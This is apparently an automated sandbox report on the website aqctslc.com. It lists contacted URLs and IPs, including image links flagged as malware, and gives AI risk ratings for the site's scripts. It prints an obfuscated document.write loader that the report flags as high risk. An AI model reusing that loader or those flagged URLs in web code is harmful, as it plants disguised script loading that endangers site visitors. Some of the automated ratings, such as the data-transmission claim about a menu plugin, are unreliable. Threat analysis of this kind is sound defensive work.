https://templates.mhrtheme.com/yango/assets/fonts/remixicon.svg?t=1590207869815#remixicon	0%	Avira URL Cloud	safe
https://aqctslc.com/news.html	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/owl.theme.default.min.css	0%	Avira URL Cloud	safe
http://zhushick.com	0%	Avira URL Cloud	safe
https://templates.mhrtheme.com/yango/assets/css/owl.video.play.png)	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/services-icon1.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/fonts/remixicon%EF%B9%96t=1590207869815.woff2	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/services-icon2.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/owl.carousel.min.css	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/paypal.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/master-card.png	0%	Avira URL Cloud	safe
https://imagesspace.hks3.layerstackobjects.com/images/img_678003ec457cb9.14918951.jpeg	100%	Avira URL Cloud	malware
https://aqctslc.com/themes/static/js/bootstrap.bundle.min.js	0%	Avira URL Cloud	safe
https://aqctslc.com/service.html	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/contact-form-script.js	0%	Avira URL Cloud	safe
https://aqctslc.com/sitemap.xml	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/services-icon5.png	0%	Avira URL Cloud	safe
https://imagesspace.hks3.layerstackobjects.com/images/img_678003721e3aa9.20406748.jpeg	100%	Avira URL Cloud	malware
https://aqctslc.com/themes/static/image/qian-xiang-shan.png	0%	Avira URL Cloud	safe
https://mhrtheme.us14.list-manage.com/subscribe/post?u=c9ae94df12a9a98a25374514c&id=46abfc95a7&a	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/ji-ji-bo.png	0%	Avira URL Cloud	safe
https://aqctslc.com/works.html	0%	Avira URL Cloud	safe
https://aqctslc.com/contact.html	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/shape2.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/visa.png	0%	Avira URL Cloud	safe
https://imagesspace.hks3.layerstackobjects.com/images/img_678003648509e8.27521784.png	100%	Avira URL Cloud	malware
https://aqctslc.com/themes/static/css/responsive.css	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/shape1.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/appear.min.js	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/odometer.min.css	0%	Avira URL Cloud	safe
http://bas2k.ru/	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/services-icon4.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/ajaxchimp.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
hcdnwsa120.v5.cdnhwczoy106.cn	199.91.74.185	true	false	high
sslzz.jomodns.com	58.254.150.48	true	false	high
www.wshifen.com	103.235.46.96	true	false	high
www.google.com	142.250.186.164	true	false	high
imagesspace.hks3.layerstackobjects.com	104.26.3.190	true	false	unknown
aqctslc.com	38.165.16.38	true	true	unknown
zz.bdstatic.com	unknown	unknown	false	high
sp0.baidu.com	unknown	unknown	false	high
collect-v6.51.la	unknown	unknown	false	high
sdk.51.la	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://aqctslc.com/	false		high
https://aqctslc.com/themes/static/image/discover.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/odometer.min.js	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/owl.carousel.min.js	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/jquery.min.js	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/bing-wan-ying.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/subscribe.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/shape3.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/services-icon6.png	false	Avira URL Cloud: safe	unknown
https://imagesspace.hks3.layerstackobjects.com/images/img_678003710aa442.93325130.jpeg	false	Avira URL Cloud: malware	unknown
https://aqctslc.com/themes/static/image/shen-zi-shan.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/jzwkqucn.js	false	Avira URL Cloud: safe	unknown
https://imagesspace.hks3.layerstackobjects.com/images/img_678003bd8a5647.43110570.jpeg	false	Avira URL Cloud: malware	unknown
https://aqctslc.com/themes/static/js/wow.min.js	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/main.js	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/style.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/skrill.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/remixicon.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/bootstrap.min.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/animate.min.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/cta.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/meanmenu.min.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/feedback.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/bg1.jpg	false	Avira URL Cloud: safe	unknown
https://sdk.51.la/js-sdk-pro.min.js	false		high
https://aqctslc.com/themes/static/image/services-icon3.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/meanmenu.min.js	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/form-validator.min.js	false	Avira URL Cloud: safe	unknown
https://zz.bdstatic.com/linksubmit/push.js	false		high
https://aqctslc.com/themes/static/fonts/remixicon%EF%B9%96t=1590207869815.woff2	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/owl.theme.default.min.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/services-icon1.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/paypal.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/owl.carousel.min.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/services-icon2.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/master-card.png	false	Avira URL Cloud: safe	unknown
https://imagesspace.hks3.layerstackobjects.com/images/img_678003ec457cb9.14918951.jpeg	false	Avira URL Cloud: malware	unknown
https://aqctslc.com/themes/static/js/bootstrap.bundle.min.js	false	Avira URL Cloud: safe	unknown
https://imagesspace.hks3.layerstackobjects.com/images/img_678003721e3aa9.20406748.jpeg	false	Avira URL Cloud: malware	unknown
https://aqctslc.com/themes/static/image/qian-xiang-shan.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/contact-form-script.js	false	Avira URL Cloud: safe	unknown
https://collect-v6.51.la/v6/collect?dt=4	false		high
https://aqctslc.com/themes/static/image/services-icon5.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/ji-ji-bo.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/shape2.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/appear.min.js	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/js/ajaxchimp.min.js	false	Avira URL Cloud: safe	unknown
https://imagesspace.hks3.layerstackobjects.com/images/img_678003648509e8.27521784.png	false	Avira URL Cloud: malware	unknown
https://aqctslc.com/themes/static/image/services-icon4.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/visa.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/image/shape1.png	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/responsive.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/themes/static/css/odometer.min.css	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.meanthemes.com/plugins/meanmenu/)	chromecache_164.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/bas2k/jquery.appear/	chromecache_128.3.dr, chromecache_152.3.dr	false		high
http://zzfdsm.com	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
http://push.zhanzhang.baidu.com/push.js	chromecache_181.3.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_123.3.dr, chromecache_106.3.dr	false		high
http://yfjizhuangxiang.com	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
https://aqctslc.com	chromecache_181.3.dr	true	Avira URL Cloud: safe	unknown
https://aqctslc.com/about.html	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
https://wowjs.uk	chromecache_187.3.dr, chromecache_173.3.dr	false	Avira URL Cloud: safe	unknown
https://remixicon.com	chromecache_147.3.dr	false	Avira URL Cloud: safe	unknown
http://19000yy.com	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/1000hz/bootstrap-validator	chromecache_180.3.dr, chromecache_160.3.dr	false		high
https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif	chromecache_166.3.dr, chromecache_138.3.dr	false		high
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_123.3.dr, chromecache_106.3.dr, chromecache_158.3.dr	false		high
https://github.com/Remix-Design/RemixIcon	chromecache_147.3.dr	false		high
https://aqctslc.com/news.html	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
https://templates.mhrtheme.com/yango/assets/fonts/remixicon.svg?t=1590207869815#remixicon	chromecache_147.3.dr	false	Avira URL Cloud: safe	unknown
http://zhushick.com	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT	chromecache_180.3.dr, chromecache_146.3.dr, chromecache_160.3.dr	false		high
https://animate.style/	chromecache_146.3.dr	false		high
https://getbootstrap.com/)	chromecache_123.3.dr, chromecache_106.3.dr, chromecache_158.3.dr	false		high
https://templates.mhrtheme.com/yango/assets/css/owl.video.play.png)	chromecache_135.3.dr	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/service.html	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
https://mhrtheme.us14.list-manage.com/subscribe/post?u=c9ae94df12a9a98a25374514c&id=46abfc95a7&a	chromecache_134.3.dr, chromecache_105.3.dr	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/sitemap.xml	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_128.3.dr, chromecache_152.3.dr	false		high
https://aqctslc.com/works.html	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
https://aqctslc.com/contact.html	chromecache_181.3.dr	false	Avira URL Cloud: safe	unknown
http://code.google.com/p/jquery-appear/	chromecache_128.3.dr, chromecache_152.3.dr	false		high
http://bas2k.ru/	chromecache_128.3.dr, chromecache_152.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE	chromecache_125.3.dr, chromecache_150.3.dr, chromecache_101.3.dr, chromecache_135.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
199.91.74.208	unknown	United States	21859	ZNETUS	false
148.153.240.68	unknown	United States	63199	CDSC-AS1US	false
103.235.46.96	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
38.165.16.38	aqctslc.com	United States	174	COGENT-174US	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.74.191	unknown	United States	13335	CLOUDFLARENETUS	false
199.91.74.185	hcdnwsa120.v5.cdnhwczoy106.cn	United States	21859	ZNETUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
35.194.194.1	unknown	United States	15169	GOOGLEUS	false
104.26.3.190	imagesspace.hks3.layerstackobjects.com	United States	13335	CLOUDFLARENETUS	false
90.84.164.16	unknown	France	5511	OPENTRANSITFR	false
58.254.150.48	sslzz.jomodns.com	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false

Private

IP
192.168.2.8
192.168.2.6
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587184
Start date and time:	2025-01-10 00:50:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://aqctslc.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@17/157@26/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.185.206, 74.125.206.84, 142.250.185.174, 142.250.186.78, 172.217.23.106, 192.229.221.95, 199.232.214.172, 142.250.74.202, 172.217.16.202, 142.250.185.234, 142.250.186.106, 142.250.185.106, 142.250.186.42, 142.250.185.202, 142.250.185.138, 142.250.181.234, 142.250.184.234, 142.250.186.74, 216.58.206.74, 142.250.185.170, 142.250.185.74, 142.250.186.138, 172.217.18.106, 142.250.186.170, 142.250.186.142, 142.250.184.206, 216.58.206.78, 142.250.186.67, 172.217.18.14, 142.250.186.46, 142.250.181.238, 88.221.110.91, 13.107.246.45, 23.56.254.164, 4.175.87.197
Excluded domains from analysis (whitelisted): client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, translate.googleapis.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://aqctslc.com/

Input	Output
URL: https://aqctslc.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://aqctslc.com
URL: https://aqctslc.com/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script uses the `document.write()` function to dynamically insert a script tag that loads content from an obfuscated URL. This is a high-risk indicator of potential malicious behavior, as it could be used to execute remote or dynamic code. The obfuscated URL also raises suspicion, as it could be masking a malicious domain. Overall, this script demonstrates several high-risk behaviors and should be considered a significant security concern." }
document.write(unescape("%3Cscript%20src%3D%22\u002f\u006a\u007a\u0077\u006b\u0071\u0075\u0063\u006e\u002e\u006a\u0073%22%3E%3C/script%3E"));
URL: https://aqctslc.com/... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a script for submitting links to the Baidu Link Submission platform. It dynamically creates a script element and inserts it into the DOM, with the source URL determined by the current protocol (HTTP or HTTPS). This behavior is consistent with typical web analytics or tracking functionality, which is considered a low-risk indicator. While the script uses some dynamic DOM manipulation, it does not exhibit any high-risk behaviors like data exfiltration or malicious redirects. Therefore, the overall risk score is assessed as 3, indicating a low-risk script." }
(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })();
URL: https://aqctslc.com/themes/static/js/appear.min.js... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a jQuery plugin for detecting when an element comes into view on the page. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The plugin uses standard DOM manipulation and event handling techniques, which are common in web development. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script is likely a benign utility with no clear intent to cause harm." }
/* * jQuery.appear * https://github.com/bas2k/jquery.appear/ * http://code.google.com/p/jquery-appear/ * http://bas2k.ru/ * * Copyright (c) 2009 Michael Hixson * Copyright (c) 2012-2014 Alexander Brovikov * Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php) */ (function($){$.fn.appear=function(fn,options){var settings=$.extend({data:undefined,one:!0,accX:0,accY:0},options);return this.each(function(){var t=$(this);t.appeared=!1;if(!fn){t.trigger('appear',settings.data);return} var w=$(window);var check=function(){if(!t.is(':visible')){t.appeared=!1;return} var a=w.scrollLeft();var b=w.scrollTop();var o=t.offset();var x=o.left;var y=o.top;var ax=settings.accX;var ay=settings.accY;var th=t.height();var wh=w.height();var tw=t.width();var ww=w.width();if(y+th+ay>=b&&y<=b+wh+ay&&x+tw+ax>=a&&x<=a+ww+ax){if(!t.appeared)t.trigger('appear',settings.data)}else{t.appeared=!1}};var modifiedFn=function(){t.appeared=!0;if(settings.one){w.unbind('scroll',check);var i=$.inArray(check,$.fn.appear.checks);if(i>=0)$.fn.appear.checks.splice(i,1)} fn.apply(this,arguments)};if(settings.one)t.one('appear',settings.data,modifiedFn);else t.bind('appear',settings.data,modifiedFn);w.scroll(check);$.fn.appear.checks.push(check);(check)()})};$.extend($.fn.appear,{checks:[],timeout:null,checkAll:function(){var length=$.fn.appear.checks.length;if(length>0)while(length--)($.fn.appear.checks[length])();},run:function(){if($.fn.appear.timeout)clearTimeout($.fn.appear.timeout);$.fn.appear.timeout=setTimeout($.fn.appear.checkAll,20)}});$.each(['append','prepend','after','before','attr','removeAttr','addClass','removeClass','toggleClass','remove','css','show','hide'],function(i,n){var old=$.fn[n];if(old){$.fn[n]=function(){var r=old.apply(this,arguments);$.fn.appear.run();return r}}})})(jQuery);
URL: https://aqctslc.com/themes/static/js/meanmenu.min.... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet appears to be a plugin for a responsive menu feature. While it does not exhibit any high-risk behaviors, it has some moderate-risk indicators that warrant further review. The script uses external data transmission to send user data to third-party domains, and it also performs aggressive DOM manipulation by repeatedly altering the page's structure. Additionally, the use of legacy APIs like `XDomainRequest` is a low-risk indicator. Overall, the script seems to be focused on providing a responsive menu functionality, but the implementation could be improved to reduce the potential risks." }
!function($){"use strict";$.fn.meanmenu=function(e){var n={meanMenuTarget:jQuery(this),meanMenuContainer:".yango-responsive-menu",meanMenuClose:"X",meanMenuCloseSize:"18px",meanMenuOpen:"<span /><span /><span />",meanRevealPosition:"right",meanRevealPositionDistance:"0",meanRevealColour:"",meanScreenWidth:"480",meanNavPush:"",meanShowChildren:!0,meanExpandableChildren:!0,meanExpand:"+",meanContract:"-",meanRemoveAttrs:!1,onePage:!1,meanDisplay:"block",removeElements:""};e=$.extend(n,e);var a=window.innerWidth\|\|document.documentElement.clientWidth;return this.each(function(){var n=e.meanMenuTarget,t=e.meanMenuContainer,r=e.meanMenuClose,i=e.meanMenuCloseSize,s=e.meanMenuOpen,u=e.meanRevealPosition,m=e.meanRevealPositionDistance,l=e.meanRevealColour,o=e.meanScreenWidth,c=e.meanNavPush,v=".meanmenu-reveal",h=e.meanShowChildren,d=e.meanExpandableChildren,y=e.meanExpand,j=e.meanContract,Q=e.meanRemoveAttrs,f=e.onePage,g=e.meanDisplay,p=e.removeElements,C=!1;(navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/Blackberry/i)\|\|navigator.userAgent.match(/Windows Phone/i))&&(C=!0),(navigator.userAgent.match(/MSIE 8/i)\|\|navigator.userAgent.match(/MSIE 7/i))&&jQuery("html").css("overflow-y","scroll");var w="",x=function(){if("center"===u){var e=window.innerWidth\|\|document.documentElement.clientWidth,n=e/2-22+"px";w="left:"+n+";right:auto;",C?jQuery(".meanmenu-reveal").animate({left:n}):jQuery(".meanmenu-reveal").css("left",n)}},A=!1,E=!1;"right"===u&&(w="right:"+m+";left:auto;"),"left"===u&&(w="left:"+m+";right:auto;"),x();var M="",P=function(){M.html(jQuery(M).is(".meanmenu-reveal.meanclose")?r:s)},W=function(){jQuery(".mean-bar,.mean-push").remove(),jQuery(t).removeClass("mean-container"),jQuery(n).css("display",g),A=!1,E=!1,jQuery(p).removeClass("mean-remove")},b=function(){var e="background:"+l+";color:"+l+";"+w;if(o>=a){jQuery(p).addClass("mean-remove"),E=!0,jQuery(t).addClass("mean-container"),jQuery(".mean-container").prepend('<div class="mean-bar"><a href="#nav" class="meanmenu-reveal" style="'+e+'">Show Navigation</a><nav class="mean-nav"></nav></div>');var r=jQuery(n).html();jQuery(".mean-nav").html(r),Q&&jQuery("nav.mean-nav ul, nav.mean-nav ul *").each(function(){jQuery(this).is(".mean-remove")?jQuery(this).attr("class","mean-remove"):jQuery(this).removeAttr("class"),jQuery(this).removeAttr("id")}),jQuery(n).before('<div class="mean-push" />'),jQuery(".mean-push").css("margin-top",c),jQuery(n).hide(),jQuery(".meanmenu-reveal").show(),jQuery(v).html(s),M=jQuery(v),jQuery(".mean-nav ul").hide(),h?d?(jQuery(".mean-nav ul ul").each(function(){jQuery(this).children().length&&jQuery(this,"li:first").parent().append('<a class="mean-expand" href="#" style="font-size: '+i+'">'+y+"</a>")}),jQuery(".mean-expand").on("click",function(e){e.preventDefault(),jQuery(this).hasClass("mean-clicked")?(jQuery(this).text(y),jQuery(this).prev("ul").slideUp(300,function(){})):(jQuery(this).text(j),jQuery(this).prev("ul").slideDown(300,function(){})),jQuery(this).toggleClass("mean-clicked")})):jQuery(".mean-nav ul ul").show():jQuery(".mean-nav ul ul").hide(),jQuery(".mean-nav ul li").last().addClass("mean-last"),M.removeClass("meanclose"),jQuery(M).click(function(e){e.preventDefault(),A===!1?(M.css("text-align","center"),M.css("text-indent","0"),M.css("font-size",i),jQuery(".mean-nav ul:first").slideDown(),A=!0):(jQuery(".mean-nav ul:first").slideUp(),A=!1),M.toggleClass("meanclose"),P(),jQuery(p).addClass("mean-remove")}),f&&jQuery(".mean-nav ul > li > a:first-child").on("click",function(){jQuery(".mean-nav ul:first").slideUp(),A=!1,jQuery(M).toggleClass("meanclose").html(s)})}else W()};C\|\|jQuery(window).resize(function(){a=window.innerWidth\|\|document.documentElement.clientWidth,a>o,W(),o>=a?(b(),x()):W()}),jQuery(window).resize(function(){a=window.innerWidth\|\|document.documentElement.clientWidth,C?(x(),o>=a?E===!1&&b():W()):(W(),o>
URL: https://aqctslc.com/themes/static/js/wow.min.js... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a library for handling animations on web pages, known as the 'WOW.js' library. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script uses standard web APIs and practices, with some legacy features like `XDomainRequest`, but these pose only minor risks. Overall, the script seems to be a legitimate and widely-used animation library, and the risk score is low." }
/! WOW wow.js - v1.3.0 - 2016-10-04 https://wowjs.uk * Copyright (c) 2016 Thomas Grainger; Licensed MIT */!function(a,b){if("function"==typeof define&&define.amd)define(["module","exports"],b);else if("undefined"!=typeof exports)b(module,exports);else{var c={exports:{}};b(c,c.exports),a.WOW=c.exports}}(this,function(a,b){"use strict";function c(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function d(a,b){return b.indexOf(a)>=0}function e(a,b){for(var c in b)if(null==a[c]){var d=b[c];a[c]=d}return a}function f(a){return/Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(a)}function g(a){var b=arguments.length<=1\|\|void 0===arguments[1]?!1:arguments[1],c=arguments.length<=2\|\|void 0===arguments[2]?!1:arguments[2],d=arguments.length<=3\|\|void 0===arguments[3]?null:arguments[3],e=void 0;return null!=document.createEvent?(e=document.createEvent("CustomEvent"),e.initCustomEvent(a,b,c,d)):null!=document.createEventObject?(e=document.createEventObject(),e.eventType=a):e.eventName=a,e}function h(a,b){null!=a.dispatchEvent?a.dispatchEvent(b):b in(null!=a)?a[b]():"on"+b in(null!=a)&&a["on"+b]()}function i(a,b,c){null!=a.addEventListener?a.addEventListener(b,c,!1):null!=a.attachEvent?a.attachEvent("on"+b,c):a[b]=c}function j(a,b,c){null!=a.removeEventListener?a.removeEventListener(b,c,!1):null!=a.detachEvent?a.detachEvent("on"+b,c):delete a[b]}function k(){return"innerHeight"in window?window.innerHeight:document.documentElement.clientHeight}Object.defineProperty(b,"__esModule",{value:!0});var l,m,n=function(){function a(a,b){for(var c=0;c<b.length;c++){var d=b[c];d.enumerable=d.enumerable\|\|!1,d.configurable=!0,"value"in d&&(d.writable=!0),Object.defineProperty(a,d.key,d)}}return function(b,c,d){return c&&a(b.prototype,c),d&&a(b,d),b}}(),o=window.WeakMap\|\|window.MozWeakMap\|\|function(){function a(){c(this,a),this.keys=[],this.values=[]}return n(a,[{key:"get",value:function(a){for(var b=0;b<this.keys.length;b++){var c=this.keys[b];if(c===a)return this.values[b]}}},{key:"set",value:function(a,b){for(var c=0;c<this.keys.length;c++){var d=this.keys[c];if(d===a)return this.values[c]=b,this}return this.keys.push(a),this.values.push(b),this}}]),a}(),p=window.MutationObserver\|\|window.WebkitMutationObserver\|\|window.MozMutationObserver\|\|(m=l=function(){function a(){c(this,a),"undefined"!=typeof console&&null!==console&&(console.warn("MutationObserver is not supported by your browser."),console.warn("WOW.js cannot detect dom mutations, please call .sync() after loading new content."))}return n(a,[{key:"observe",value:function(){}}]),a}(),l.notSupported=!0,m),q=window.getComputedStyle\|\|function(a){var b=/(\-([a-z]){1})/g;return{getPropertyValue:function(c){"float"===c&&(c="styleFloat"),b.test(c)&&c.replace(b,function(a,b){return b.toUpperCase()});var d=a.currentStyle;return(null!=d?d[c]:void 0)\|\|null}}},r=function(){function a(){var b=arguments.length<=0\|\|void 0===arguments[0]?{}:arguments[0];c(this,a),this.defaults={boxClass:"wow",animateClass:"animated",offset:0,mobile:!0,live:!0,callback:null,scrollContainer:null,resetAnimation:!0},this.animate=function(){return"requestAnimationFrame"in window?function(a){return window.requestAnimationFrame(a)}:function(a){return a()}}(),this.vendors=["moz","webkit"],this.start=this.start.bind(this),this.resetAnimation=this.resetAnimation.bind(this),this.scrollHandler=this.scrollHandler.bind(this),this.scrollCallback=this.scrollCallback.bind(this),this.scrolled=!0,this.config=e(b,this.defaults),null!=b.scrollContainer&&(this.config.scrollContainer=document.querySelector(b.scrollContainer)),this.animationNameCache=new o,this.wowEvent=g(this.config.boxClass)}return n(a,[{key:"init",value:function(){this.element=window.document.documentElement,d(document.readyState,["interactive","complete"])?this.start():i(document,"DOMContentLoaded",this.start),this.finished=[]}},{key:"start",value:function(){var a=this;if(this.stopped=!1,this.boxes=[].slice.call(this.element.quer
URL: https://aqctslc.com/themes/static/js/ajaxchimp.min... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a plugin for integrating with the Mailchimp email marketing service. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script primarily handles form submissions and displays appropriate success or error messages based on the Mailchimp API response. While it uses some legacy practices like `XDomainRequest`, the overall behavior is consistent with a legitimate email subscription functionality, and there are no clear indications of malicious intent. Therefore, the risk score is assessed as low (3)." }
(function($){"use strict";$.ajaxChimp={responses:{"We have sent you a confirmation email":0,"Please enter a value":1,"An email address must contain a single @":2,"The domain portion of the email address is invalid (the portion after the @: )":3,"The username portion of the email address is invalid (the portion before the @: )":4,"This email address looks fake or invalid. Please enter a real email address":5},translations:{en:null},init:function(selector,options){$(selector).ajaxChimp(options)}};$.fn.ajaxChimp=function(options){$(this).each(function(i,elem){var form=$(elem);var email=form.find("input[type=email]");var label=form.find("label[for="+email.attr("id")+"]");var settings=$.extend({url:form.attr("action"),language:"en"},options);var url=settings.url.replace("/post?","/post-json?").concat("&c=?");form.attr("novalidate","true");email.attr("name","EMAIL");form.submit(function(){var msg;function successCallback(resp){if(resp.result==="success"){msg="We have sent you a confirmation email";label.removeClass("error").addClass("valid");email.removeClass("error").addClass("valid")}else{email.removeClass("valid").addClass("error");label.removeClass("valid").addClass("error");var index=-1;try{var parts=resp.msg.split(" - ",2);if(parts[1]===undefined){msg=resp.msg}else{var 